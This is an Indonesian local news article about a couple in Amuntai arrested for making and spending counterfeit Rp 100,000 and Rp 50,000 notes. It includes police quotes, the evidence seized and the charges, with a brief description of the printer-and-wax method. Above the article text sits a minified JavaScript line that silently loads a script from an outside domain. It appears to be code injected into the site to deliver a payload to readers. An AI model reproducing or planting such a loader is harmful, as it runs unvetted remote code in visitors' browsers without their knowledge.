(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Gara-gara mengedarkan uang palsu (Upal) selama kurang lebih 5 bulan, pasutri atas nama Noor Syaifullah (29) dan istrinya Zainab (19), digulung Unit Jatanras Polres Hulu Sungai Utara (HSU) pada Rabu (20/11) pukul 16.00 Wita.
Kedua pelaku yang merupakan warga Jalan Gerilya II Desa Palampitan Hulu Kecamantan Amuntai Tengah.
“Sang suami berperan sebagai pembuat  sementara sang istri mengedarkannya,” kata Kapolres HSU AKBP Ahmad Arif Sopiyan saat menggelar konferensi pers bersama awak media, Kamis (21/11).
Kapolres menjelaskan, kasus ini berawal dari keresahan dan keluhan masyarakat warga amuntai khususnya pemilik warung kecil yang menerima pembayaran diduga uang palsu.Menyikapi keluhan dan informasi yang beredar di media sosial, jajaran Unit Jatanras Polres HSU melakukan penyelidikan.
Usai didapat titik terang informasi ciri-ciri pelaku yang diduga mau membelanjakan uangnya kepada salah seorang pemilik warung yang ditolak dan memberikan informasi ke petugas selanjutnya tim langsung melakukan penyisiran terhadap diduga pelaku.
Alhasil petugas melihat sepeda motor yang biasa digunakan oleh pelaku membelanjakan uangnya di warung warung  terpakir di depan rumahnya, lantas kedua pelaku langsung diciduk di kediamannya tersebut.
Dari kediamannya ditemukan  barang-barang yang diduga digunakan membuat uang palsu serta sisa cetakan uang palsu. Adapun barang bukti yang disita polisi tersebut yaitu beberapa lembar uang palsu pecahan Rp 100.000 dan Rp 50.000, baik yang belum dipotong dan yang sudah dipotong, sebuah Sepeda Motor Metic,sebuah Laptop, sebuah Alat Cetak Kertas (Printer). Ditambah barang bukti lainnya seperti 3 buah Botol Tinta serta beberapa buah alat lainnya seperti gunting dan penggaris busur.
Tersangka mengaku mencetak uang palsu menggunakan alat sederhana seperti laptop dan di print menggunakan printer canon ip2770. Lantas di press menggunakan lilin.
“Hanya menggunakan kertas HVS dan dipress menggunakan lilin, lalu dipotong-potong uang ini tampak seperti uang asli,” lanjut Kapolres.
Sementara tersangka Noor Saifullah mengaku keahlian membuat Upal tersebut didapatnya hanya melalui media sosial berbagi Video YouTube secara otodidak. “Usai diprint tinggal di elus-elus dengan lilin,” bebernya.
Lebih lanjut, pelaku yang merupakan suami isteri dengan modus sang suami mencetak uang sedangkan isteri membelanjakan sambil mengendong anaknya agar tidak dicurigai mengedarkan(bertransaksi) uang palsu tersebut ke kios-kios.
Dari keterangan kedua pelaku, mereka membembelanjakan Upal tersebut untuk memenuhi kebutuhan sehari harinya dengan total transaksi sekitar 18 kali.
Tidak hanya diwilayah Kabupaten HSU, tersangka juga sempat membelanjakan Upal tersebut di daerah kabupaten tetangga yakni di kawasan Lampihong (Balangan) dan kawasan pasar Negara ( Hulu Sungai Selatan).
Dari kejadian ini, Kapolres menghimbau kepada seluruh warga masyarakat untuk berhati-hati dan melaporkan kepihak yang berwajib apabila menemukan Upal serupa didaerahnya.
Ditemui terpisah, Kasatreskrim polres HSU IPTU Kamarudin kepada kanalkalimantan.com, menyebut penangkapan pelaku sendiri berawal dari informasi warga, ditambah dua kali rekaman CCTV yang didapat dari warga. Dirinya menekankan pentingnya laporan warga masyarakat jika menemukan Upal, sehingga dapat ditangani dengan mudah oleh pihak kepolisian.
Kedua pelaku suami-istri ini sendiri bakal dijerat Pasal 36 ayat 1 dan 3 Jo Pasal 26 ayat 1 dan 3 UU No. 7 tahun 2011 tentang Mata Uang Jo Pasal 55 KUHP atau Tindak Pidana memalsukan, mengedarkan  atau membelanjakan Uang palsu, dengan ancaman hukuman 10 dan 15 tahun kurungan.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.